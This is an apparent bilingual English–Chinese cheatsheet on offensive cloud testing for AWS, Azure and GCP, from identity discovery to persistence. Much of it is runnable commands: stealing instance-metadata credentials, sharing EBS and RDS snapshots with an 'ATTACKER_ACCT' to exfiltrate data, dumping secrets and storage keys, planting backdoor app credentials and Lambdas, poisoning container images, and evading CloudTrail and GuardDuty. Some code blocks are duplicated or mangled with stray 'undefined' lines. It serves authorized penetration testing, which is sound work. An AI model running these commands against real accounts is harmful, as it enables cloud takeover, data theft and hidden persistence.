offensive-cloud

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Cloud (AWS / Azure / GCP) — Offensive Testing Methodology

云(AWS / Azure / GCP)— 攻击测试方法论

Quick Workflow

快速工作流

  1. Identify the cloud and the identity context you have (user, role, service account, instance role)
  2. Enumerate without writes —
    aws sts get-caller-identity
    ,
    az account show
    ,
    gcloud auth list
  3. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
  4. Find the data and the persistence anchors before alarms fire
  5. Document the kill chain with timestamps, identities, and resources for the report

  1. 确定当前云平台以及你拥有的身份上下文(用户、角色、服务账户、实例角色)
  2. 在不执行写操作的情况下进行枚举 —
    aws sts get-caller-identity
    、
    az account show
    、
    gcloud auth list
  3. 将权限映射到已知的权限提升原语(PassRole、Owner 等)
  4. 在告警触发前定位数据和持久化锚点
  5. 使用时间戳、身份和资源记录 kill chain,供报告使用

AWS

AWS

Identity Discovery

身份发现

bash
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
  --action-names "*"
bash
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
  --action-names "*"

IMDS Credential Theft

IMDS 凭证窃取

bash
undefined
bash
undefined

IMDSv1 (legacy)

IMDSv1 (legacy)

IMDSv2 (modern, requires token)

IMDSv2 (modern, requires token)

TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token"
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -H "X-aws-ec2-metadata-token: $TOKEN"
http://169.254.169.254/latest/meta-data/iam/security-credentials/

From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without `Host: 169.254.169.254` and proper `PUT`-then-`GET` flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token"
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -H "X-aws-ec2-metadata-token: $TOKEN"
http://169.254.169.254/latest/meta-data/iam/security-credentials/

在历史版本的 AWS 中,SSRF 允许设置自定义标头时可借此访问 IMDSv2。现代 AWS 要求请求包含 `Host: 169.254.169.254` 并遵循正确的先 `PUT` 后 `GET` 流程,否则会拒绝此类请求——在 2024 年及以后版本中,除非代理会反射自定义标头,否则通过 SSRF 获取 IMDSv2 凭证的情况很少。

Privilege Escalation Paths

权限提升路径

PathRequired PermissionOutcome
iam:PassRole
+
lambda:CreateFunction
Pass any role to Lambda you createRun code as that role
iam:PassRole
+
ec2:RunInstances
Pass any role to EC2 instanceIMDS → role creds
iam:CreatePolicyVersion
+
iam:SetDefaultPolicyVersion
Edit your own policySelf-elevate
iam:UpdateAssumeRolePolicy
On a privileged roleAdd yourself as principal
iam:CreateLoginProfile
(on user without one)
Set console passwordConsole access
iam:CreateAccessKey
(on another user)
Mint keys for someone elsePersistent access
sts:AssumeRole
with
sts:TagSession
to ABAC role
If role trusts session tagsTag-based escalation
cloudformation:CreateStack
+ permissive role
Run any service actionIndirect arbitrary perms
glue:UpdateDevEndpoint
Inject SSH key into Glue endpointCode exec as Glue role
ssm:SendCommand
to any instance
RCE on instances + their rolesLateral + escalation
bash
undefined
路径所需权限结果
iam:PassRole
+
lambda:CreateFunction
将任意角色传给所创建的 Lambda以该角色运行代码
iam:PassRole
+
ec2:RunInstances
将任意角色传给 EC2 实例IMDS → 角色凭证
iam:CreatePolicyVersion
+
iam:SetDefaultPolicyVersion
编辑自己的策略自我提权
iam:UpdateAssumeRolePolicy
在高权限角色上将自己添加为 principal
iam:CreateLoginProfile
(适用于没有登录配置文件的用户)
设置控制台密码控制台访问
iam:CreateAccessKey
(适用于另一用户)
为他人创建密钥持久访问
sts:AssumeRole
配合
sts:TagSession
操作 ABAC 角色
如果该角色信任会话标签基于标签的提权
cloudformation:CreateStack
+ 权限宽松的角色
执行任意服务操作间接获得任意权限
glue:UpdateDevEndpoint
向 Glue endpoint 注入 SSH 密钥以 Glue 角色执行代码
ssm:SendCommand
到任意实例
在实例及其角色上实现 RCE横向移动 + 提权
bash
undefined

Pacu — the tooling for AWS escalation

Pacu — the tooling for AWS escalation

pacu
import_keys default run iam__enum_permissions run iam__privesc_scan
undefined
pacu
import_keys default run iam__enum_permissions run iam__privesc_scan
undefined

Cross-Account / Organization

跨账户 / 组织

bash
undefined
bash
undefined

Find roles trusting the current account

Find roles trusting the current account

aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'

Then grep AssumeRolePolicyDocument.Statement for trusts to your account

Then grep AssumeRolePolicyDocument.Statement for trusts to your account

Org-wide (if Organizations access)

Org-wide (if Organizations access)

aws organizations list-accounts aws organizations list-roots
undefined
aws organizations list-accounts aws organizations list-roots
undefined

Data Targets

数据目标

bash
undefined
bash
undefined

S3

S3

aws s3api list-buckets aws s3 ls s3://<bucket> --recursive | head aws s3api get-bucket-policy --bucket <bucket>
aws s3api list-buckets aws s3 ls s3://<bucket> --recursive | head aws s3api get-bucket-policy --bucket <bucket>

Cross-region snapshot share (data exfil without S3)

Cross-region snapshot share (data exfil without S3)

aws ec2 modify-snapshot-attribute --snapshot-id snap-...
--attribute createVolumePermission
--create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"
aws ec2 modify-snapshot-attribute --snapshot-id snap-...
--attribute createVolumePermission
--create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"

RDS snapshot share

RDS snapshot share

aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap
--attribute-name restore --values-to-add ATTACKER_ACCT
aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap
--attribute-name restore --values-to-add ATTACKER_ACCT

Secrets Manager / Parameter Store

Secrets Manager / Parameter Store

aws secretsmanager list-secrets aws ssm get-parameters-by-path --path / --recursive --with-decryption
undefined
aws secretsmanager list-secrets aws ssm get-parameters-by-path --path / --recursive --with-decryption
undefined

Persistence

持久化

bash
undefined
bash
undefined

Cross-account SCP exemption via service-linked role

Cross-account SCP exemption via service-linked role

AWS Config snapshot delivery channel rerouted to attacker bucket

AWS Config snapshot delivery channel rerouted to attacker bucket

aws configservice put-delivery-channel ... # Rare but devastating
aws configservice put-delivery-channel ... # Rare but devastating

EventBridge rule firing Lambda you control on every IAM change

EventBridge rule firing Lambda you control on every IAM change

Backdoor: Lambda creates an access key for any new admin user

Backdoor: Lambda creates an access key for any new admin user

undefined
undefined

Detection Evasion

检测规避

  • CloudTrail to multi-region with log file validation — disable validation if you have perms
  • GuardDuty findings can be muted via
    update-findings-feedback
    if you have the permission (rare in prod)
  • VPC Flow Logs only catch IP traffic; control-plane API calls are CloudTrail-only

  • 将 CloudTrail 配置为多区域并启用日志文件验证——如果有权限,则禁用验证
  • 如果拥有相应权限,可以通过
    update-findings-feedback
    静音 GuardDuty 发现项(在生产环境中很少见)
  • VPC Flow Logs 只能捕获 IP 流量;控制平面 API 调用只能由 CloudTrail 捕获

Azure

Azure

Identity Discovery

身份发现

bash
az account show
az ad signed-in-user show
az role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)
bash
az account show
az ad signed-in-user show
az role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)

Microsoft Graph

Microsoft Graph

az rest --method GET --uri "https://graph.microsoft.com/v1.0/me"
undefined
az rest --method GET --uri "https://graph.microsoft.com/v1.0/me"
undefined

IMDS

IMDS

bash
curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
bash
curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Privilege Escalation Paths

权限提升路径

PathRequired Role / PermissionOutcome
User Access Administrator on self/subGrant self OwnerSubscription Owner
App Registration ownerAdd cert/secret, mint app-only tokensApp's permissions
Virtual Machine Contributor + Reader on KVRun command on VM with MSI → KVSecrets
Custom role with
*/write
on RBAC
Edit role assignmentsSelf-elevate
Logic App contributorEdit workflow → privileged actionIndirect any action
Automation Account contributorRunBook with Run-As accountRun as RunAs identity
AAD
Application Administrator
Assign app to high-priv roleCloud admin via app
AAD
Cloud Application Administrator
Same minus on-premCloud admin
AAD
Directory Synchronization Account
DCSync via AAD ConnectAll on-prem hashes
Privileged Authentication AdministratorReset MFA / passwords for GlobalsGlobal Admin reset
bash
undefined
路径所需角色 / 权限结果
对自身或子资源拥有 User Access Administrator为自己授予 Owner 权限订阅 Owner
App Registration 所有者添加证书/密钥,签发仅应用令牌应用权限
对 KV 拥有 Virtual Machine Contributor + Reader在带有 MSI 的 VM 上运行命令 → KVSecrets
对 RBAC 拥有
*/write
权限的自定义角色
编辑角色分配自我提权
Logic App Contributor编辑工作流 → 执行特权操作间接执行任意操作
Automation Account Contributor使用 Run-As 账户运行 RunBook以 Run-As 身份运行
AAD
Application Administrator
将应用分配给高权限角色通过应用获得云管理员权限
AAD
Cloud Application Administrator
与上项相同,但不包含本地部署环境云管理员权限
AAD
Directory Synchronization Account
通过 AAD Connect 实施 DCSync所有本地部署环境的哈希
Privileged Authentication Administrator重置 Globals 的 MFA/密码重置 Global Admin
bash
undefined

ROADtools — the AAD enumeration toolkit

ROADtools — the AAD enumeration toolkit

roadrecon auth -u user@tenant -p pass roadrecon gather roadrecon gui # browse the gathered DB
roadrecon auth -u user@tenant -p pass roadrecon gather roadrecon gui # browse the gathered DB

AzureHound for BloodHound integration

AzureHound for BloodHound integration

azurehound list -u user -p pass --tenant tenant.onmicrosoft.com
undefined
azurehound list -u user -p pass --tenant tenant.onmicrosoft.com
undefined

Data Targets

数据目标

bash
undefined
bash
undefined

Storage account access keys (gold)

Storage account access keys (gold)

az storage account keys list -g RG -n SA
az storage account keys list -g RG -n SA

Key Vault (per RBAC + access policies)

Key Vault (per RBAC + access policies)

az keyvault secret list --vault-name myvault az keyvault secret show --vault-name myvault -n cred
az keyvault secret list --vault-name myvault az keyvault secret show --vault-name myvault -n cred

Cosmos DB primary keys

Cosmos DB primary keys

az cosmosdb keys list -g RG -n acct
az cosmosdb keys list -g RG -n acct

SQL admin reset

SQL admin reset

az sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>
undefined
az sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>
undefined

Persistence

持久化

bash
undefined
bash
undefined

Add cert to existing privileged AAD application

Add cert to existing privileged AAD application

az ad app credential reset --id <app-id> --append
az ad app credential reset --id <app-id> --append

Conditional Access bypass: add own service principal to "trusted locations" / exclusions

Conditional Access bypass: add own service principal to "trusted locations" / exclusions

Custom rules to AAD Audit log retention

Custom rules to AAD Audit log retention

undefined
undefined

Detection Evasion

检测规避

  • AAD Audit Log: tenant-level, can't be tampered with from below Global Admin
  • Microsoft Sentinel: rule shaping if you have Workbook / Analytics Rule write
  • Defender for Cloud: alert suppression rules

  • AAD Audit Log:租户级日志;在权限低于 Global Admin 时无法篡改
  • Microsoft Sentinel:如果拥有 Workbook / Analytics Rule 写入权限,则可对规则进行塑形
  • Defender for Cloud:警报抑制规则

GCP

GCP

Identity Discovery

身份发现

bash
gcloud auth list
gcloud projects list
gcloud iam service-accounts list
gcloud projects get-iam-policy $(gcloud config get-value project)
bash
gcloud auth list
gcloud projects list
gcloud iam service-accounts list
gcloud projects get-iam-policy $(gcloud config get-value project)

IMDS

IMDS

bash
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
bash
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Privilege Escalation Paths

权限提升路径

PathRequired PermissionOutcome
iam.serviceAccountTokenCreator
on SA
Mint tokens as SASA's perms
iam.serviceAccountUser
+
compute.instances.create
Pass SA to new VMRun as SA via IMDS
iam.serviceAccountKeyAdmin
Create JSON key for any SAPersistent SA creds
cloudbuild.builds.create
Build runs as Cloud Build SA (often Editor)Editor on project
deploymentmanager.deployments.create
Runs as DM SA (often Owner)Owner
cloudfunctions.functions.create
+ actAs
Pass any SA to functionRun as that SA
dataflow.jobs.create
+ actAs
Same patternSA's perms
iam.roles.update
(custom roles)
Add permissions to a role you haveSelf-elevate
resourcemanager.projects.setIamPolicy
Grant self any roleOwner
bash
undefined
路径所需权限结果
对 SA 拥有
iam.serviceAccountTokenCreator
以 SA 身份签发 TokenSA 的权限
iam.serviceAccountUser
+
compute.instances.create
将 SA 传给新 VM通过 IMDS 以 SA 身份运行
iam.serviceAccountKeyAdmin
为任意 SA 创建 JSON 密钥持久化的 SA 凭证
cloudbuild.builds.create
构建以 Cloud Build SA 身份运行(通常为 Editor)项目中的 Editor 权限
deploymentmanager.deployments.create
以 DM SA 身份运行(通常为 Owner)Owner 权限
cloudfunctions.functions.create
+ actAs
将任意 SA 传给函数以该 SA 身份运行
dataflow.jobs.create
+ actAs
同样的模式SA 的权限
iam.roles.update
(自定义角色)
向自己拥有的角色添加权限自我提权
resourcemanager.projects.setIamPolicy
为自己授予任意角色Owner 权限
bash
undefined

gcp_enum / gcp_scanner

gcp_enum / gcp_scanner

git clone https://github.com/google/gcp_scanner python gcp_scanner.py -k gcp.json -o out/
git clone https://github.com/google/gcp_scanner python gcp_scanner.py -k gcp.json -o out/

Hunt for SA impersonation paths

Hunt for SA impersonation paths

gcloud iam service-accounts get-iam-policy <sa-email>
gcloud iam service-accounts get-iam-policy <sa-email>

Look for ServiceAccountTokenCreator on something you control

Look for ServiceAccountTokenCreator on something you control

undefined
undefined

Data Targets

数据目标

bash
undefined
bash
undefined

GCS buckets

GCS buckets

gcloud storage ls gsutil ls -L gs://bucket gsutil iam get gs://bucket
gcloud storage ls gsutil ls -L gs://bucket gsutil iam get gs://bucket

Cloud SQL

Cloud SQL

gcloud sql instances list gcloud sql users list --instance <instance>
gcloud sql instances list gcloud sql users list --instance <instance>

Secret Manager

Secret Manager

gcloud secrets list gcloud secrets versions access latest --secret=<name>
undefined
gcloud secrets list gcloud secrets versions access latest --secret=<name>
undefined

Cross-Project / Folder Pivot

跨项目 / 文件夹转向

bash
undefined
bash
undefined

Org-level perms?

Org-level perms?

gcloud organizations list gcloud resource-manager folders list --organization <id> gcloud projects list --filter="parent.id=<folder-id>"

---
gcloud organizations list gcloud resource-manager folders list --organization <id> gcloud projects list --filter="parent.id=<folder-id>"

---

Cross-Cloud Patterns

跨云模式

CI/CD as the Pivot

以 CI/CD 为支点

Most cloud takeovers in 2024-2025 start with CI tokens:
  • GitHub Actions OIDC misconfigured → assume any AWS role with weak
    sub
    claim
  • GitLab CI pushed to wrong branch → gains prod role
  • Jenkins agent with cloud credentials in env
Test the OIDC trust policy claims carefully:
json
"Condition": {
  "StringLike": {
    "token.actions.githubusercontent.com:sub": "repo:org/*"
  }
}
2024—2025 年的大多数云接管事件始于 CI Token:
  • GitHub Actions OIDC 配置错误 → 通过宽松的
    sub
    声明 Assume 任意 AWS 角色
  • GitLab CI 代码被推送到错误分支 → 获得生产环境角色
  • Jenkins agent 的环境变量中存在云凭证
应仔细测试 OIDC 信任策略声明:
json
"Condition": {
  "StringLike": {
    "token.actions.githubusercontent.com:sub": "repo:org/*"
  }
}

Snapshot Sideways (works on all 3)

快照横向移动(适用于三大云)

Take a snapshot of a victim VM/disk → share or mount it under a controlled account → extract data offline. Bypasses host-level guardrails.
获取受害 VM/磁盘的快照 → 在受控账户下共享或挂载 → 离线提取数据。这可以绕过主机层防护控制。

Secrets-in-Logs

日志中的密钥

CloudTrail / Activity Log / Cloud Audit Logs sometimes log request bodies. Look for SaaS integrations that POST API keys — they may end up in audit logs.
CloudTrail / Activity Log / Cloud Audit Logs 有时会记录请求正文。查找会 POST API 密钥的 SaaS 集成——这些密钥可能最终出现在审计日志中。

Container Registry Poisoning

容器注册表投毒

ECR/ACR/Artifact Registry — if you have push perms on a tag in use by production, replace the image. Tag mutability is the bug.

ECR/ACR/Artifact Registry——如果拥有生产环境正在使用的某个 tag 的 push 权限,就可以替换镜像。根因是 tag 可变性控制不当。

Tooling Matrix

工具矩阵

ToolAWSAzureGCPUse
ScoutSuite✓✓✓Posture audit
Prowler✓✓✓CIS/PCI checks
Pacu✓Offensive framework
CloudGoat✓Vulnerable lab
BloodHound + AzureHound✓Graph-based escalation
ROADtools✓AAD recon + offline analysis
MicroBurst✓PS-based offensive
Stormspotter✓MS' own offensive enum
gcp_scanner✓Token-based recon
GCPBucketBrute✓GCS bucket discovery

工具AWSAzureGCP用途
ScoutSuite✓✓✓安全态势审计
Prowler✓✓✓CIS/PCI 合规检查
Pacu✓攻击框架
CloudGoat✓漏洞靶场
BloodHound + AzureHound✓基于 Graph 的权限提升
ROADtools✓AAD 侦察 + 离线分析
MicroBurst✓基于 PowerShell 的攻击工具
Stormspotter✓Microsoft 自有的攻击枚举工具
gcp_scanner✓基于 Token 的侦察
GCPBucketBrute✓GCS bucket 发现

Engagement Cheatsheet

项目速查表

[ ] sts/get-caller-identity, az account show, gcloud auth list
[ ] Enumerate effective permissions (simulate-principal-policy / get-iam-policy)
[ ] Map known privesc paths against current perms
[ ] Pacu/ROADtools/gcp_scanner full enumeration
[ ] Identify data crown jewels (S3/Blob/GCS, KV, secrets)
[ ] Test cross-account/tenant/project trust paths
[ ] Test CI/CD OIDC trust policies
[ ] Test backup/snapshot exfiltration paths
[ ] Document discovered identities, paths, and data with timestamps
[ ] Persistence demonstrated only with explicit authorization

[ ] sts/get-caller-identity, az account show, gcloud auth list
[ ] Enumerate effective permissions (simulate-principal-policy / get-iam-policy)
[ ] Map known privesc paths against current perms
[ ] Pacu/ROADtools/gcp_scanner full enumeration
[ ] Identify data crown jewels (S3/Blob/GCS, KV, secrets)
[ ] Test cross-account/tenant/project trust paths
[ ] Test CI/CD OIDC trust policies
[ ] Test backup/snapshot exfiltration paths
[ ] Document discovered identities, paths, and data with timestamps
[ ] Persistence demonstrated only with explicit authorization

Key References

主要参考